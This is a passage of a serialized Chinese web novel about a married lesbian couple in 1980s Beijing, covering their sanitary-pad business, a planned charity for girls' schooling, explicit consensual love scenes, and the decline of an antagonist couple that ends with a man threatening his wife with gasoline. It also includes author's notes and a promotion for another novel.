温淼恍惚间,刚想要开口说话,就被人堵住了嘴,所有的话只能往肚子里吞。 凉席湿湿黏黏,沾在皮肉上很不舒服。 可到了最后,温淼却无暇顾及,只能软着声音小声地对季白青开口求饶:“我不会多想了,不用证明了……” 话说出口,还没等到季白青的回答,女人就累得晕了过去。 季白青慢慢将两人身上擦拭干净,又把凉席擦干,困意上涌,抱着温淼沉沉睡去。 累了大半个晚上,两人第二日起来都很晚了,几乎快要到吃午饭的时间。 中途,陈晴见她们一直没有出门,也没敢打扰,只是默默做着分内的工作。 季白青醒来的时候,温淼还埋在她胸口睡得正香,像是小猫。 她的肩膀被压得有些麻,微微动了动,想要变换个姿势。 只是身体小幅度的动作也让温淼醒了过来,她的肩膀往后抻,身体瞬间涌上绵绵密密的酸。 腰、膝盖,手肘和那处,哪哪的存在感都异常明显。 温淼嘤咛一声,揉着眼睛,还没有完全清醒。 女人的唇瓣嫣红,就连眼皮都泛着淡淡的粉意。 季白青替她揉着腰,声音带了几分初醒时的沙哑。 “待会儿给你擦点药?现在饿了没?” 温淼思维迟钝,过了好一会儿才反应过来。 “嗯,饿了。” 季白青起身,将药膏拿出来,替她上了药之后将换的衣服拿给她,自己先一步出房间去看午饭做好了没。 两人一起吃了个午饭,又给温淼在酸痛的地方按摩后和温淼说了一声,去了厂里。 先前和王府井百货大楼签好的合同被她带了过去,让陆霁看了之后,两人着手开始安排工人继续生产。 商量完正事,看着在办公室显得无所事事的李从瑾,她道:“徐润和穆斯事谢谢你。” 李从瑾挑眉:“什么?” 两人对视一眼,就连陆霁也皱起了眉,疑惑道:“不是你干的?” 前段时间刚听到徐润和穆斯因为贪污被免职,问题是陆霁和季白青太忙都还没来得及举报。 李从瑾笑吟吟开口:“或许可以回去问问你老婆,总之我还没来得及处理。” 心里想着这件事,回到家后,季白青在饭桌上看着温淼问:“徐润他们的事,是你做的吗?” 温淼给她夹菜,温声道:“他们本来就做错了事。” 而且还有意为难季白青,所以都是他们活该。 季白青:“……老婆,你真好。” 如果不是这一招,差点就忘记了温淼身后的背景了。 在第二天上午,张芙蓉就带着王府井百货大楼的司机一起来运货,将现有的卫生巾先运回去,欠缺的数目之后生产出来再补上。 每个月两千的采购量对现在只能零零散散卖出不到一百份卫生巾的保洁卫生巾厂来说是一笔大单子。 其中含高分子吸水树脂的卫生巾和不含的各占一半,算下来每个月的利润达到了惊人的九十块钱。 虽然不多,但是对她们来说却是个好消息。 毕竟在建厂初期,能够不亏本就是最好的结果。 每个月只需要一周的生产时间就能够将产品生产完,不过这也代表着愿意在厂里长时间做下去的工人并不多。 更重要的是,莫姐和她们所签下的合同中明确表示了,如果在三个月之内,货物堆积,百货商场就会停止对卫生巾的采购。 所以,现在最需要的就是将宣传做到位。 季白青自掏腰包,每天都在京市的日报上登记保洁卫生巾的广告,同时还生产多批卫生巾在京市的各个地方免费发放。 在开学之后,温淼也偶尔不经意地向办公室里的各位同事推荐使用卫生巾,教室对新事物的接受程度也挺高的。 对卫生巾的宣传力度加大,加上王府井百货大楼的人流量一向大,像是卫生巾这样的生活用品都被摆在了最明显的位置。 季白青订了一块牌子,上面写着对卫生巾的介绍,立在里侧,让人一眼便能够分明。 来王府井百货大楼购买商品的人的家境优越居多,有人见到了新奇的东西多少都会生出一些好奇心,每个人都试着买上一包,倒也卖掉了不少。 卫生巾确实比月经带要安全好用,不少人体验到了卫生巾的方便之后便有了回购的心思。 这样一传十十传百,保洁卫生巾彻底在京市传开了名声。 甚至还成了王府井百货大楼的特产,毕竟只有这一处的大楼有卫生巾卖。 很多人甚至都慕名而来,为了买一包卫生巾,同时也捎带上家里所缺的东西,这明显地带动了商场里的其它生意。 在收到了汇报上来的数据之后,莫姐果断拍板:“以后每个月五千的采购数量变成一万!” 先前商量的三个月的试采购时间到的时候,发现王府井百货商场的卫生巾都卖的差不多后,她就爽快地将两千的数量改为了五千。 在此之后,她还特意叮嘱了张芙蓉:“芙蓉,你要让小季记得我们最开始帮她的恩惠,即使现在销路多了,有其它的商场想要在她那进货的话,也不能那么轻易就给出去了,最起码价格还得提一提的。” 在听到了张芙蓉说了这话后,季白青果断地点头。 “那肯定,其它百货大楼来找我们厂进货我们都没有同意,还在磨着呢,芙蓉姐,你让莫姐放心,就算是最后真的让其它商场采购,肯定也会比出给你们的价格要高。” 听了这话,张芙蓉总算是放了心。 当晚,被京市商场的采购员约着去吃饭的时候,季白青带上了温淼一起去蹭饭,给温淼倒了茶之后她笑眯眯地看着看起来十分心虚的采购员。 她还记得先前被灌酒的经历,便笑眯眯道:“同志,我今天来晚了,自罚三杯。” “不过我身体不太舒服,这三杯可以麻烦你帮我喝吗?” 说完之后,她也没忍住笑,唇边泄出一丝笑意。 温淼只能假装什么都没听到,小口地喝着排骨汤。 采购员闻言,脸色一僵,最后只能讨好笑道:“好好好!” 将人灌了几杯之后,季白青如同先前来谈采购的几例一样,将每种卫生巾的价格报出,同卖给王府井百货大楼的相比分别提高一分钱。 几个商场的人早就打听到了保洁卫生巾工厂出给王府井百货大楼的售价,听到多一分钱,纷纷不乐意,想着各种办法将价格往下压。 可季白青油盐不进,无论别人怎么说都没有一丝要改变的意思。 最后还是有商场眼馋这一份利润,咬着牙答应了季白青的价格。 卫生巾生产的前半年,工厂勉强维持了收支平衡,在后半年之后,销量不断增加,每个月的收入少则七八百,多则几千块! 1983年12月,实验室又出了个好消息。 高分子吸水树脂已经被彻底研发出来了,还能够大批量地生产,从这以后,吸水性强的卫生巾就再也不用依赖进口。 成本降低之后,季白青将售价也降低,卫生巾的售价降到了五毛五分钱一盒。 从1984年开始,随着价格的降低,卫生巾宣传力度的不断扩大,知道卫生巾、了解卫生巾、能够买得起卫生巾的女性越来越多。 保洁卫生巾还设立了专门的新品研发实验室,工厂面积也不断扩大,每个月给街道办事处交的租金和管理费用让其它街道都眼红。 卫生巾的生产和销售逐渐步入正轨,生意越来越红火。 季白青主要负责研发和宣传方面,在此之后空闲下来,每天去工厂和实验室转一圈,没问题就能回家了。 多出来的时间,更多的是陪温淼。 其实也算不上陪,毕竟季白青也想和温淼待在一起。 反而是温淼偶尔觉得她有些烦人,影响自己工作,偶尔会把她锁在门外。 大部分时候两人的关系都很好,即使太过黏糊也都不会腻。 这天,京市大学请了季白青和陆霁一起去京市大学演讲,还特意开设了讲座。 温淼恰好没课,便悄悄坐在了最后一排。 讲座结束之后,学生散去,会堂中空荡下来。 季白青眼神好,早就看到了温淼,结束后从后台回到前面,走向温淼。 温淼将手上的两支玫瑰递给她,和陆霁道别之后,两人牵着手出学校。 家产丰厚后,季白青就买了辆汽车,方便两人上下班。 温淼开着车往家的方向去,眼神飘过了在街道里卖冰棒的小摊,有些馋。 她慢慢将车停下,双眸明亮地看了眼季白青,小声道:“阿青,我想吃冰棒。” 季白青看着她,有些为难。 “马上要生理期了,吃了冷的又该痛经了。” “……只吃一半行吗?” 对上她带着祈求的眼睛,季白青没法,只能答应。 “等着,我下车去给你买。” 温淼弯起笑:“不要,我和你一起去,你不知道我想吃什么。” 还能吃什么,每次不都是点那根老冰棒!季白青腹诽。 果然,到了冰棒摊位上后,温淼对着低头的摊主脆生生道: “要一根老冰棒!” 摊主将泡沫盖掀开,从里面拿出一根老冰棒递给她。 在她抬头时,两人双目相对。 温淼面色错愕:“……怎么是你?” 【作者有话说】 感谢投雷营养液,感谢评论订阅收藏 134 第134章 ◎西装裙◎ “沈念念,你现在是在卖冰棒?” 面前的女人穿的朴素,手指因为经常和冰棒接触被冻得发红发肿,她清纯的脸上没什么血色,和温淼差不多的年纪,甚至还小上一些,但在经过风霜侵染后,眼尾却提前爬上了皱纹。 温淼也是在看到她的脸的第一眼觉得熟悉,拧着眉想了想,才和记忆力的人对上了号。 沈念念一抬眼就看到了温淼,明明已经三十一岁的人了,温淼却好像格外得时光偏爱,昳丽的面容经过时间沉淀后,多了几分温柔,漂亮得灼沈念念的眼。 今天温淼去听自己老婆的讲座,打扮得也比以前要正式一些,穿了一身剪裁得体的黑色波点裙,长发拢到脑后绑成丸子头,碎发从颊边垂落,珍珠耳钉衬得皮肤越发莹白。 同沈念念身上穿着的陈旧衣服形成巨大反差。 不过是一瞬间,她将温淼递过来的五分钱收下后立马低下了头,丝毫不敢再看,声音也有意压低:“你认错人了。” 她死死低着头,不肯再和面前的人对视。 温淼捏着冰棒,和季白青对视一眼,两人也没有多说什么,转身回到了车上。 回到车上之后,温淼将外面包着的薄蜡纸拆开,先让季白青咬了一半。 她还在想着刚才见的人,向季白青求证:“刚才那人是沈念念吧?” 季白青皱着脸将嘴里甜滋滋的冰棒咽下,点头。 “嗯,是她。”有几年的时间没再见到沈念念,季白青也在关注着她和陆延的动向,以免两个人又闹出什么事。 温淼想着事,原本想吃的东西现在对她的吸引力也减少了些。 她道:“真是没想到……她现在的变化这么大。” 温淼一时间觉得有些唏嘘。 可以看出来她这几年的生活并不好过。 不过,温淼又有些疑惑。 “怎么没看到陆延?” 季白青笑吟吟道:“不知道,管他呢。反正和我们又没关系。” 季白青说得也是,温淼反应过来,再低头准备吃冰棒的时候,发现冰早就化成了水,落在手背和手指上,粘糊糊的,棍子上只剩下了一点。 她有些懊恼:“都快没了。” 季白青拍拍她的头,语重心长:“已经给你买了,你自己没吃到那也不能吃了。” 她用手帕帮温淼擦干净手,温淼将剩下的那两口冰冰棒吃完,开车往回赶- 将一箱的冰棍都卖完之后,已经快到七点。 沈念念拖着沉重的身体往回走。 自从陆霁上位之后,陆延就被她死死地压着,一向溺爱他的陆母和陆父也只能开口劝他在家好好待着,别去惹事。 可陆延不听,沈念念现在虽然衣食无忧,但也想要过上挥金如土的贵太太的生活,便撺掇陆延一起给陆霁使绊子。 两个人的小伎俩自然都被陆霁识破了,但她本来就对陆延心存不满,这两个又像是跳蚤一般在自己的面前蹦跶,陆霁便没再顾忌陆母陆父,直接开口叫人将陆延她们赶了出去。 不过还是勉强给了他们一万块钱作为生活开支费用,只是她们以后再也没有机会能回来。 当天陆霁就对陆母陆父说过,如果她们还去接济沈念念她们的话,陆霁就把她们一起赶出去。 原本一万块钱到手,这钱让普通人家花一辈子也没问题。 陆父还有一套四合院的房产也在她们的名下,从陆家出去之后她们就在那住着。 可沈念念和陆延花钱都没有个把门,拿到钱之后花得大手大脚,仅仅只是大半年的时间,一万块钱就所剩无几。 陆延和沈念念回到沈家门口,原本打算向陆母陆父哭穷,可她们在要开门时看到陆延她们的第一眼就立马关上了门,隔着一扇门为难道:“延延啊,你们还是回去吧,姐姐说了不能再让你们上门了。” 先前她们也来过几次,那几次陆母和陆父都没忍住给钱接济了,即使瞒着没有说,最后也被陆霁知道了,陆霁每次都会停她们两个月的生活费,所以现在一看到她们两个人,陆母和陆父就想要躲。 毕竟陆母她们没钱的生活也不好过。 最后陆延和沈念念在门口站了多久,她们就躲了多久,等到最后沈念念实在是站不住了,才黑着脸和陆延回去。 回去之后,算着手里剩下的钱,两人也知道陆母和陆父不靠谱了。 沈念念看了眼陆延:“……不然我们把你这房子卖了,不然以后该怎么生活?” 陆延有些烦躁地挠了挠脑袋:“房子卖了我们睡哪?躺大马路上吗?” 沈念念拧起眉有些不耐烦:“那你能怎么办?剩下这么点钱,以后是不用吃饭了吗?” 她看着陆延道:“你赶快出去找个工作,之前不是还是说你一定可以考上大学吗?现在大学没考上,工作你也找不到。” 她一不留神就将心里话说了出来:“你个废物。” 陆延的面色瞬间赤红,眼睛瞪大地看着她,咬牙道:“你!沈念念,你好意思说我,你又好到了哪里去?是你考上了大学还是你找到了工作?” 沈念念沉默了会儿,勉强按捺住内心的火气。 “我也会做东西去卖。” “所以这房子到底卖不卖?” 陆延的语气恶狠狠:“卖!” 两人就这样靠着卖房的钱,勉强生活到了现在。 回想着先前的记忆,沈念念抱着特制的保温箱将家里的门打开。 屋子里一片黑暗,闻到空气中弥散开的刺鼻烟草味后,她就知道陆延肯定在家。 将灯打开后,看到昨天刚收拾好的桌面再次变得一片狼藉,她一天的火气瞬间冒了上来。 看着赤着上身、神色萎靡的男人,她怒道:“陆延,你到底想要干什么?!我昨天刚收拾好的桌子!” 她尖叫一声,冲到陆延身前,左右开弓在他脸上啪啪打了两巴掌,神色狰狞道:“我当初真是瞎了眼才看上了你,你个废物!” 她们住的地方是京市有名的贫民窟,房间的面积也不大,客厅厨房和卧室挤在一个小房子里,东西满得几乎将房间炸开,角角落落都塞满了可以回收的废品。 细看陆延脚下,落了一地的烟灰和烟草。 陆延被打了,抬起头来恶狠狠地看着沈念念,眼疾手快扯住沈念念的头发,将她拉到了自己的面前,抬起手也立马还了回去。 沈念念尖叫一声,将陆延坐着的凳子踹倒在地,将陆延按倒在地上,手立马往陆延的脸上挠。 两个人扭打在一起,陆延力气大,而沈念念的身体灵活,一时间竟然分不出一个高低。 扭打到最后,两人都有些累,房间门被敲响,屋外传来大嗓门不耐的声音:“别打了吵死了!要打滚远点打!” 这里住着的大部分都是有案底的人,沈念念和陆延都不敢招惹,两人瞬间安静下来。 两人面面相觑,脸上露出来的手上都没什么好肉,打得像个疯子。 坐在地上喘着粗气,沈念念看着陆延,脸上刚才被打过的地方还隐隐作痛,她利索提出要求。 “离婚吧,你自己过,房子也还给你。” 听了这话之后,陆延神色癫狂地笑出了声,也不顾牵扯到的脸颊上的伤口。 “哈哈哈……” 他从地上撑着坐起,将裤子捞起来,露出被遮盖的扭曲的右腿。 “我这条腿被压瘸了,是为了谁?” 想起当时的场景,沈念念冷笑一声:“你别想骗我,那是你当初招惹的仇人还不一定,还为了我。” 陆延应了一声,哑声质问道:“那你为了做生意不给我钱治疗,当初说得好好的,那你现在赚到钱了吗?” 当初陆延的腿伤原本花上一千多可以治好,家里的积蓄只剩下一千多,但是沈念念当时想要开一家饭店,那一千块钱给了她之后想要从她怀里拿出去简直是难如登天。 沈念念当时给的理由是,她厨艺这么好,到时候饭店开张后肯定能够赚回本,让他先等一段时间,赚回本之后就带他去医院治腿。 可沈念念的饭店最后却入不敷出,连房东催着交租金都交不出来,最后只能宣布倒闭,现在每天就干点零散的活赚点小钱,勉强维持两个人的生活。 听他这么说,沈念念心虚一瞬,随后瞬间冷漠起来。 “人各有命,这不是过是你的命数。” “不离婚可以,但你总要想办法赚钱吧。” 陆延神色痛苦,对她吼道:“我一个残废,你要我干什么!” 原本沈念念都已经习惯了陆延腿伤后每天怨天尤人的话,但是想到今天见到那对打扮得光鲜亮丽的妻妻,她扯了扯唇,冷嘲道: “你是个残废那你怎么不去死?别或者浪费我的米了。” “对了,你以前不是最讨厌季白青吗?我告诉你,她现在比你强一千倍一万倍!人家赚那么多钱,你呢?” 陆延一脸怔忪。 季白青……季白青。 又是季白青! 她为什么要从头到尾一直和自己作对!- 在碰到了沈念念之后,季白青让人继续盯紧妻夫两人。 她们现在的处境季白青在这几年的时间里一直有派人去了解,毕竟这可是两个在暗处伺机攻击别人的毒蛇,一个不注意就被会咬了。 但先前答应过天道不去干预过度两人两人的事,也不能再危害她们的生命,所以季白青只是让相熟的企业在招人的时候都不招她们,现在能够过成这样,多少还是她们自己的“功劳”。 她撑着脸,看向窗外的景色,淡淡地想。 办公室的门突然被敲响,季白青回过神来。 “进。” 秘书小王进来,对她汇报道:“老板,刚才去盯梢的人发现陆延他买了好多瓶汽油,还在偷偷跟着夫人,不过最后被老韩打晕捆起来了。” 季白青的眉头拧起,指尖不自觉地点着桌面,一时间想的是把陆延这个潜在的炸弹处理掉算了。 但先前同天道所说的话在脑中浮现,她按住内心的火气,冷声道:“那就报警,再跟警局那边打个商量,关他十天半个月的。” “夫人身边的人先不能撤,陆延最近的行为告诉陆霁姐一声。” 小王一一记下,点头。 两人说道最后,办公室的门被突然打开。 季白青抬头往门口一看,见到是温淼后,原本冷厉的眉眼瞬间温软几分。 她柔声问:“你怎么来了?” 温淼还以为办公室没有人,手里提着饭盒,面上有些歉意。 “我还以为办公室没人,你们在说正事吗?我去外面等会儿再进来。” 季白青站起来,走到门口将人带进来,对小王道:“你就按照我说的做就行,其它的事还有变化再报告给我,先出去吧。” 小王按住了内心的惊讶,她没有想到一向冷冷淡淡的季白青在温淼面前竟然会是这副模样,和自己印象里的老板好像一点也不一样。 她点了点头,给两人空出空间,很快出了办公室,将门带好。 办公室有一张待客的小桌,温淼顺手将饭盒放在桌上,坐下来的时候才看清了季白青身上的穿着,眸中闪过一分惊艳。 现在正值夏日,天气热得很,办公室里装了空调倒是凉丝丝的。 青年身上穿着一件单薄的白色针织衬衫,袖子挽了一节,最上面的一颗扣子也被解开,露出一截瓷白的精致锁骨。 衬衫下摆被塞进了黑色的西装包臀裙中,裙摆到了小腿肚长度。 整个人看起来……嗯……怎么说呢,显得很正经。 清瘦高挑,看起来又很干练。 和温淼平时见到的季白青的模样一点也不一样。 她掩饰性地咳了一声,勉强挪开视线,垂眸将桌上的饭盒打开。 女人娓娓介绍:“陈姐今天做了蒸排骨、豆角炒肉,还有一个海带汤,我想着你今天上午忙,怕你来不及吃饭,就来给你送饭了。” 这还是这么多年来温淼第一次来季白青工作的地方,无论是先前的工厂办公室还是今年建立的新公司的办公室,温淼在这之前都还没有来过。 今天一大早,季白青一大早就出了门,说上午有会议。 温淼怕她忙到午饭也吃不上,在家纠结了良久才决定来给她送饭。 将饭盒一一摆开,她和季白青一起吃饭。 她在家其实吃了一点,留了点肚子来公司这边吃只是为了陪着季白青。 吃饭的途中,她没忍住,好几次都抬头偷偷看着季白青。 吃到最后,季白青也发现了,抬头和温淼对上了视线。 她微微歪着头,用帕子按了按唇角,笑着问:“看我干什么?” 温淼挪开视线,小声辩解:“没有看你,你的错觉而已。” 季白青才不相信,刚才看了那么多眼,哪里还能是意外。 她低头打量了自己身上的套装裙一番,心中顿时了然了几分。 原来老婆是喜欢看她穿制服套装。 将饭盒收好放在一边,季白青看她站在落地窗前有些好奇地往外看,趁着她的注意力不在自己这,便悄声将办公室的门反锁上。 今天的急事都安排在上午,原本下午没有什么其它打算是要回去的,刚才被小王突然的汇报耽误了点时间,温淼就来了。 她走到温淼身后,伸出手将人抱住,将下巴抵在女人的肩头。 季白青总觉得岁月格外优待温淼,几年过去,她好像一点也没有变,不说外貌,性格还是同以往一样纯澈,倒是比起以前来说多了几分温柔。 她测过脸去,一口亲在女人的脸侧,轻声询问道:“在看什么?” 温淼指着窗外不远处的一颗树。 “刚才上面还有鸟,不过现在已经飞走了。” 季白青随着她手指所指的方向看去。 温淼侧过脸去,看着季白青清隽的侧脸。 时隔多年,现在还是会觉得很心动。 她在对方怀里转了个身,面对面后将手搭在她的肩上,一下吻住了季白青的唇。 双唇短暂贴合在一起,随后很快分开。 温淼看着季白青的眼神灼灼:“阿青,我有一件事一直很想去做。” 季白青有些疑惑:“嗯?” 温淼将人抱住,眼神明亮。 “我们能不能办一个慈善机构?去困难的贫困山区建设学校,让女孩可以免费上学。” 这件事她想了很久,从在云水村看小米因为没钱而不能去读书认字的时候,她就开始设想。 后来当了老师,听过看过很多因为是女孩家里不让上学的故事,她每次都会由衷地为她们感到难过。 现在有条件,她想要得到爱人的支持。 闻言,季白青弯起唇。 她的蓁蓁总是这么善良。 季白青立马回应:“当然可以了。” 她现在并不缺钱,虽然对这一方面并不太了解,但完全可以托付给专业的人来处理。 温淼听到了她的回答之后,在季白青脸上亲了一口。 季白青哼笑一声,搂着她的腰将她往椅子上带。 椅子被两个人突然落下的重量冲得往后挪动一两米。 温淼被按着尾椎骨,坐在季白青腿上的时候还觉得有些茫然。 疑惑的话还没有问出口,便听见季白青在她耳边轻声询问:“是不是很喜欢我今天穿的衣服?” 听清楚她所说的话的内容之后,温淼的脸一红,讷讷道:“你怎么知道?” 季白青没说话,笑盈盈地看着她,见她在自己腿上坐稳之后,将衬衣的第二颗扣子解开,柔软隐约显露,险些能看到蓝色的内衣边。 温淼被那一片白晃了眼,眼神定定地落在之上。 还没等她挪开视线,季白青的声音就落了下来。 “你这个眼神,我就是想不知道也很难啊宝宝。” 温淼抿住唇,耳垂发烫,什么辩解的话都再也说不出来。 季白青悠悠将剩下的几颗扣子解开,反手摸到身后的搭扣,这回什么都显露无疑。 将文胸放到一边,她将扣子再度扣了几颗,最上面的三颗没有扣。 白色的衬衫原本就有些透,更不要说她特意动作之后。 雪纺衫中透着朱色,敞开的领口也能将风景看到大半。 温淼红着脸,眼神飘忽,不知道该往哪看。 季白青扣住她的手腕,将她的手心落在自己心口。 手心直直触碰到了那一处的柔嫩皮肤,温淼下意识一拢,听着季白青轻软的哼声,这才意识到自己到底做了什么。 她瞬间想要将手缩回来,却被青年扣住手,无法动弹。 “老婆,老妻老妻了,还在害羞点什么?” 季白青落在她耳边的声音带了几分蛊惑:“宝宝,你想对我做什么都可以的。” 温淼咬着唇,抬眸和她对上视线,小声询问:“真的可以吗?” 季白青刚点头,就立马感受到了她的手的动作。 温淼的动作很轻,却又格外明显, 一时间季白青腿也没忍住并拢,也不知道今天怎么格外兴奋。 她一时间有些后悔刚才说出那样的话。 细细喘了两口气,她往后靠着,任由温淼对她动作。 等到最后衬衣被顶起,刚才隔着衣服被温淼咬了,衬衣上还有湿痕。 看着女人越来越亮的*眸子,季白青的额角一跳,只觉得有些自己给自己挖坑了。 她抵在女人后腰上的手一寸一寸顺着脊骨往上,最后手落在了她的后颈上。 手指只是顺着那一处捏揉一番,温淼便像是浑身都过电一般,大半个身体都酥软下来。 她抬头看着季白青,眼神里带了几分谴责。 季白青没管她,将人搂紧,抱到办公桌上放下。 办公桌是实木的,很结实。 轻薄的裙摆被翻开,温淼的手陷入了青年的黑色长发之间,手指慢慢收拢。 水声在办公室漫开,温淼抵抗不了,又觉得确实很舒服,睫毛颤颤,最后抓着她头发的手终于松了些。 她侧过头去,不想看这让人羞耻的一幕,眼神落在偌大的落地窗后才突然惊慌起来。 “不行、不行!窗帘、窗帘没拉!” “还有门……有人进来怎么办?” 办公室在十楼,不算低,但是一想到自己和季白青亲昵的画面被人看到,她就觉得没脸见人。 而且办公室突然进来人怎么办! 她膝盖顶在对方的肩膀上,想要让人挪开,但是又不敢用力,担心伤到她。 这就给了季白青有机可乘的机会,她含糊道:“别担心,单向玻璃,门也锁了。” 窗外的天这么亮,还有几缕阳光落进来,即使知道外面没办法看到里面的景象,温淼还是不太能够适应。 心里的紧张一直没有消散下去,以至于身体也敏.感到不像话的地步。 没有多久就已经到了临界点。 她小腿绷直,罪魁祸首总算是从裙子下拱了出来。 季白青的衬衫已经皱得见不了人,温淼穿的是一身浅灰色的裙子,裙子也湿哒哒的。 最后,两人回小休息室换了身衣服才拿着饭盒回去。 【作者有话说】 我以前一直觉得,橘猫就知道吃是谣传,直到最近我家橘千方百计地偷猫条和冻干,好吧,橘猫确实很馋 好朋友的主受文完结了,推荐大家去看,包好看的。完结的哦! 文名:这婚必须离!!! 祝清摔下台阶,短期记忆丧失。 闺蜜带来一个禁欲挂的成熟御姐:“介绍一下,你老婆。” 祝清嘴巴张成“O”:“哇。” 她何德何能捞得美人归。 闺蜜淡淡叙述: “你酒后乱情,把对方吃干抹净就走,事后还不认账。” 祝清:……!! 她素了二十二年,连流程都不懂,怎么可能吃干抹净! 闺蜜鄙夷道:“对,你啥也不懂把人弄很惨。不过现在没事了,人要和你协议离婚。” 找不到证据反驳,祝清还想挣扎一下。 “离婚又是为什么?” 闺蜜忍无可忍地看了她一眼:“因为你不履行伴侣义务,还家暴她。” 祝清:…这还是人吗! — 律所内,一式两份离婚协议。 黎兰刚走完秀场,从繁忙中抽出时间,屡屡看向腕表。 一个打扮清新的姑娘探出头,小心翼翼摸走协议撕掉,一脸窘迫道:“我婚后财产多,不好分割,再说我脾气挺好的,要不再商量商量……” 结婚协议到期,打死不续签的人突然要再商量? 年入千万的黎兰挑了挑眉,发挥平生最大的演技保持平静:“好。” — 出院后,祝清想起离婚原因,主动提出履行义务。 夜深,她红着脸:“那什么,我会对你温柔一点。” 黎兰目光渐深。 第二天,祝清瘫在床上,嗓子都哑了,红着眼茫然询问:“这个义务只用履行一次吧。” 黎兰慢条斯理吻了一下她红肿的唇:“哭了,就再来一次。 祝清:哇的一声……闭上嘴>< 后来祝清发现看走了眼。 黎兰哪里是忍辱负重的悲情妻子,她分明是步步为营的大尾巴狼。 吃干抹净是真,被吃的是祝清。 家暴也是真的,她常事后单方面冷暴力黎兰(微笑) 她就是那个自投罗网、引狼入室的大冤种! 离婚,必须离。 直到一天,娱乐之夜聚会,某三线小明星邀请黎兰共舞,祝清杀红眼冲到黎兰面前:“不准跳,你是我的!” 黎兰下意识揽住她的腰:“好,我是你的。” 年上体贴大方占有欲强腹黑攻vs又怂又爱玩引火烧身俏皮受 135 第135章 ◎为你而来◎ 陆延这几年被赶出家门后,再也不能像是以前过得那么潇洒,无论是犯了什么错都能有陆家给他担着责任。 他被陆霁赶出家门,被陆母和陆父厌弃的消息早就在京市里传开了。 身后没有了陆家,曾经被他用家世欺压过的人都在暗中对他使了不少绊子,偏偏陆延还分辨不出每件落在自己身上的倒霉事到底是谁做的,就算是知道了,他也没有报复回去的办法。 沈念念跟着他,过得也并不顺心。 她们的日子过得一地鸡毛,原本的内心含有的锐气也被现实打磨得不剩下多少。 以往陆延将季白青当做死对头、眼中钉、肉中刺,自然会时时刻刻地关注她的动态,下意识拿自己和她做比较。 但是他后来已经到了最后连自己的生活都过不好的地步,更不要说还去关注季白青了。 出于内心的逃避,陆延也有意避免听到与季白青相关的消息,尤其是在废了一条腿之后。 沈念念偶尔会向他提一次,但是每次陆延每次听到后都会发疯在家乱砸东西,最后的结果便是两个人打架打红了眼,造成两败俱伤的局面。 久而久之,沈念念就也不对他说了,任由他沉浸在自己的世界里。 所以陆延对季白青的印象还停留在对方是个穷酸的泥腿子上。 他以为在读完大学之后,季白青顶多就是找个京市的工作,最后过着与常人没两样的庸庸碌碌的日子,毕竟想要在京市安家也不是那么容易的。 但是听着沈念念昨天所说的话,季白青现在所过的生活似乎和他所想的有很大的出入。 但是怎么可能!她一个土包子怎么可能在京市扎根赚大钱!肯定是沈念念骗他的!这种事沈念念也不是没做过。 现在距离昨天晚上两个人打架已经过了一夜,他仍旧一脸颓然地躺在地上,像是一条死狗。 沈念念收拾好东西准备出门,刚绕过陆延,手落在锁上要开门,就听见男人用沙哑的声音询问: “季白青她现在是在哪里工作?” 沈念念回头对他讽刺一笑:“人家都是大老板了,哪里还需要上班。” “你以为和你一样,不对,你连一份工作都找不到。” “陆延,承认吧,你就是废物。” 想了想,她还是把保洁公司的新开的公司的地址告诉了陆延,扯唇冷嘲道:“你要还是个男人你现在就去把他她收拾一顿。” 说完之后,她将门打开,随后发出“砰”的一声巨响,门被大力关上,连带着周围的墙都震了几分。 屋外立马传来叫骂声:“谁家狗爹养的,关门关得这么用力!老子家的墙都要裂了!” 陆延躺在地上,脸上尽是麻木,但是想到了沈念念的话,最后还是支着力从地上坐了起来。 他换了一身显精神头的衣服,对着镜子看了看,一张灰白沧桑的脸从镜子里倒映出来。 男人一愣,最后摸索着将胡子也刮了,提上拐杖跛着腿出了门。 他现在所住的地方与季白青的公司所处的市中心距离很远的距离,换了两趟地铁,又坐了一趟公交车,最后才到了保洁公司的门口。 看着高大的办公楼,陆延有些恍惚。 季白青是这里的老板?骗人的吧? 他在公司门口转来转去,却还是没有生出进到办公楼里的勇气。 最后还是公司里保卫处的保卫干事见到他面色阴郁,又在公司附近徘徊,十分像是可疑人士,连忙将人赶到了离公司远的地方。 陆延只能在公司附近的树下等着。 一直等到下班时间,办公楼里的员工欢声笑语地走了出来,身上穿着板正的衣服,满脸精气神,站在树下的陆延自觉和她们格格不入,最后窘迫地躲在了树后。 等到了人走得差不多,陆延才看到了季白青。 她穿着一身简单衣裤,大步流星地往前走,身后跟着秘书,将最近工厂里出现的问题汇报给她。 而季白青在一边听着,表情从容又淡定,看起来似乎什么问题都不会将她难住一般。 陆延还看见,所有员工在见到季白青后都恭敬地叫她老板。 所以,她真的是一家大公司的老板? 陆延不想相信,但是事实却又实实在在地摆在了眼前。 他想要尖叫,想要去找季白青对峙,但是最后所有的想法都被藏在了心里。 陆延不敢。 他怕看到季白青看向自己嘲笑的目光。 他像是一只阴沟里的老鼠,只能够躲在暗处看着别人的光明又充满前途的生活。 这样的生活本来可以是他的。 等到了人完全离开后,陆延才敢从树后面出来。 他拄着拐杖失魂落魄地往家的方向走,却在不知不觉中走到了先前常来的百货大楼的门口。 但是他没想到会意外地再次遇上了季白青。 不只是她一个人,女人的身边还跟着温淼,季白青正在侧头问着温淼的意见,两人一起挑着陈列出来的点心。 看着两个人言笑晏晏的样子,陆延捏着拳头。 此刻内心的愤恨与憎恶充斥内心,他想,凭什么季白青现在能过得这么好。 她就应该只是一个泥腿子,被他死死地踩在脚底下才对! 阴鸷的视线盯着两人看了一会儿,他沉默地转过了身,换了另外一家店,买了两瓶汽油。 拎着汽油回到了家,看着沈念念放在桌上的卫生巾。 这还是沈念念咬牙买下的,她想要看看到底好不好用。 看着上面刺眼的“保洁”二字,是季白青的公司生产的东西,陆延沉着脸,将盒子撕碎,拿着剪刀将一片片卫生巾剪成残渣,纷纷扬扬地撒落在地上,像是下了一地的雪。 等到沈念念回来之后,看到的便是屋里乱上添乱的画面。 看着地上白花花的东西,她心里有一股不祥的预感,再仔细一看,桌上花一块钱买的两盒卫生巾都被撕碎了。 沈念念的内心顿时涌上了愤怒,瞪着陆延,咬牙问:“你又发什么疯!” 最后她还是气不过,在陆延残废的那条腿上踹了一脚。 “你怎么不去死!你怎么不去死!” 她拉高声音。 陆延将身后的两瓶汽油扯出来,阴恻恻一笑:“死啊,我就算是死也要拉你垫背!” 看着他手里的汽油,沈念念不知为何,莫名感受到了一股钻心的被或烧灼皮肉的疼痛。 痛得她的脸色都扭曲了下来,过了一会儿,她回过神来,后背除了一身冷汗,手臂上也是被刚才的幻痛所激起来的鸡皮疙瘩。 